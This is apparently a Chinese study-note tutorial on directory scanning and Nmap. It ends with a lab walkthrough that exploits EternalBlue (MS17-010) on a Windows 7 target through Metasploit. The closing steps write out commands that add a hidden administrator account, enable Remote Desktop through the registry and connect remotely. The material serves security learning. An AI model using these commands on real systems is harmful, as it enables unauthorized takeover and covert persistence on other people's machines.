(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)
一、定义
目录扫描:扫描站点的目录,寻找敏感文件(目录名、探针文件、后台、robots.txt、备份文件)
- 目录:站点结构,权限控制不严格(列目录)
- 探针文件:服务器配置信息,phpinfo.php、readme.txt、config.txt
- 后台:登录管理整个网站的入口,inurl:admin.php、inurl:admin.asp
- robots.txt:一般存放在站点根目录,如果管理员对于robots.txt文件管理不合理,就会造成信息泄露
- 备份文件:数据库备份文件、网站备份文件等 .bak .zip www.rar
二、扫描工具
1.御剑后台扫描工具:
2.DirBuster:需要依赖Java的配置环境
- 原理:使用字典,做请求
3.Nmap
三、Nmap
1.定义
Nmap:最早是Linux中的扫面和嗅探工具,网络连接扫描工具,主要负责探测主机存活(是否开机)、开启服务(扫端口)、安全性问题(高级用法//script)、系统类型(OS类型)
2.安装Nmap需要配置环境变量
3.命令行模式的用法:
1 nmap -h 帮助信息
2 nmap 目标IP 扫描单个IP
- 状态:
状态 | 含义 |
open |
开启 |
closed |
关闭 |
filtered |
数据包被过滤,探测包被拦截,无法定位端口 是否开启 |
unfiltered |
数据包未过滤,探测包没有被拦截, nmap无法判断该端口是否开启 |
open|filtered |
开放或者被过滤 |
closed|filtered |
关闭或者被过滤 |
nmap 192.168.211.0/24 扫描整个网段
- Nmap的用法
1 nmap 192.168.1.10-200 扫描指定网段的网络 2 nmap 192,168.1.10,100,200-230 扫描10,100,200-230的网络 3 nmap 192.168.1.0/24 10.10.10.0/24 扫描不同网段 4 nmap -iL filename 扫描目标文件 5 nmap -iR 随机选择目标去探测 6 nmap -sS -PS80 -iR 0(无休止去扫描) -p80 7 nmap 192.168.1.0/24 --exclude 192.168.1.1,255(广播包),4-20 排除某些指定的IP去扫描 8 nmap -iL filename1 --excludefile filename2 其中filename1是需要扫描的,filename2不需要扫描
4.带有参数的扫描:
nmap -sT 192.168.1.1 使用TCP全连接方式,扫描过程需要三次握手,和端口建立连接,建立连接,说明端口开放,但是扫描速度慢
1 nmap -sN 192.168.1.1 = nmap 192.168.1.1 NULL扫描,发出的数据包不设置任何的标识位 2 nmap -p3306,5432 192.168.1.1 扫描指定端口 3 nmap -p- = -p1-65535 扫描所有端口 4 nmap -sV 192.168.1.1 探测服务版本
1 nmap 192.168.1.1 >./re.txt 将扫描结果重定向到re.txt中 2 nmap 192.168.1.1 -oX ./Desktop/re.xml 将扫描结果写进re.xml中
- 用浏览器打开re.xml,可以看到NMAP的扫描报告
nmap -A 192.168.1.1 获取目标所有的详细结构,全面扫描
nmap -O 192.168.1.1 探测操作系统类型
nmap --script 使用脚本去探测漏洞,后跟脚本
- Nmap自带的脚本
1 nmap --script smb-vuln-ms17-010 192.168.1.1 探测永痕之蓝 2 nmap --script smb-check-vulns 192.168.1.1 MS08-067,探测MSP的溢出漏洞 3 nmap --script ssl-heartbleed 192.168.1.1 探测心脏滴血
四、使用Nmap扫描kali服务器
1.查看kali服务器与宿主机的连通性
2.要使用Nmap扫描kali服务器,就要开启kali中的WEB、SSH、PostgreSQL、MySQL、Samba、VSFTP服务
1 /etc/init.d/apache2 start 启动HTTP服务
2 /etc/init.d/apache2 status 查看HTTP服务状态
/etc/init.d/ssh status 查看SSH服务状态
1 /etc/init.d/postgresql start 启动PostgreSQL服务
2 /etc/init.d/postgresql status 查看PostgreSQL服务状态
1 /etc/init.d/mysql start 启动MySQL服务
2 /etc/init.d/mysql status 查看MySQL服务状态
apt install samba 安装Samba
1 /etc/init.d/smbd start 开启Samba服务
2 /etc/init.d/smbd status 查看Samba服务状态
apt install vsftpd 安装Vsftp服务
1 /etc/init.d/ vsftpd start 开启Vsftp服务
2 /etc/init.d/ vsftpd status 查看Vsftp服务状态
netstat -ntulp|grep smbd 查看Smbd服务的端口状态
netstat -ntulp|grep 3306 查看MySQL服务的端口状态
netstat -ntulp|grep 5432 查看PostgreSQL服务的端口状态
3.使用Nmap扫描kali服务器
1 nmap kali服务器的IP 扫描kali服务器 2 nmap -p5432 kali服务器的IP 扫描5432端口信息,即PostgreSQL服务信息 3 nmap -p3306 kali服务器的IP 扫描3306端口信息,即MySQL服务信息
- 下图可以看到,扫描结果显示5432端口和3306端口是关闭状态,因为MySQL不允许外联
五、使用kali中的Metasploit通过MS17-010永痕之蓝获取系统权限
攻击者:kali服务器
靶机:Windows 7 系统
1.关闭Win7系统中的防火墙,并查看攻击者与靶机的连通性
2.查看kali中是否有smb-vuln-ms17-010.nse的脚本,开启kali中的postgresql数据库并使用nmap --script参数调用smb-vuln-ms17-010.nse脚本检测MS17-010漏洞
1 whereis nmap 查找Nmap的位置 2 cd /usr/share/nmap 进入Nmap 3 cd scripts/ 进入Nmap存放脚本的文件 4 find . -name /*smb*/ 查找永痕之蓝
-
/usr/bin 里面装着二进制文件 相当于快捷方式
- vulnerable表示有漏洞,受威胁,Risk factor: High表示风险高;not vulnerable无漏洞
- 这里检测出了ms17-010漏洞
3.这里先介绍几个在Metasploit中经常会用到的工具
1 cd /usr/share/metasploit-framework 2 cd modules
- auxiliary:辅助模块
- encoders:供Msfencode编码工具使用,具体可使用msfencode -l
- exploits:攻击模块,每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录
- payloads:这里面列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
- post:后渗透阶段模块,在获得meterpreter的shell之后可以使用的攻击代码。比如常用的hashdump,arp_scanner就在这里
(常用工具知识点出自CSDN博主「the__apollo」,原文链接:https://blog.csdn.net/the__apollo/article/details/70475962十分详细,感谢!)
4.在上面使用Nmap时检测出了ms17-010漏洞,开启Metasploit并使用Metasploit查找渗透模块
1 Metasploit 开启Msf 2 search 17-010 搜索cve(漏洞编号前缀)17-010相关的EXP(漏洞利用脚本)
-
auxiliary/scanner/smb/smb_ms17_010 scanner和nmap一样:扫描漏洞是否存在
- exploit/windows/smb/ms17_010_eternalblue 用来做攻击的EXP
5.探测漏洞是否存在
1 use auxiliary/scanner/smb/smb_ms17_010 探测漏洞是否存在 2 show options 查看所需设置的参数
6.上图可以看到RHOST(远程IP地址)还没有设置,设置远程地址,并运行攻击测试
1 set rhosts 192.168.1.0/24 设置远程IP为靶机的整个网段 2 run 运行攻击测试
- 下图可以看到,在扫描的全部网段中,可探测到目标IP存在漏洞
7.使用攻击模块,设置远程地址,并运行攻击测试
8.攻击成功,进行测试,并在靶机里加入一个隐藏用户(隐藏用户后面加$),提升隐藏用户的权限,方便我们后续的操作测试
1 net user host$ host$的密码 /add 添加隐藏用户host$ 2 net localgroup administrators host$ /add 将host$用户加入到管理员组中,从而提升权限 3 net user host$ 查看host$用户信息
9.查看Windows远程桌面的服务端口是否开启
1 netstat -ano|findstr 3389 查看远程桌面端口状态 2 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 开启终端服务 3 net user administrator /active:yes 激活管理员用户
10.新开一个终端,使用远程桌面连接的靶机,进行操作
1 rdesktop 靶机的IP 使用远程桌面连接靶机
- 连接靶机,连接成功,进入以下界面,是用隐藏用户登录靶机,攻击成功!!!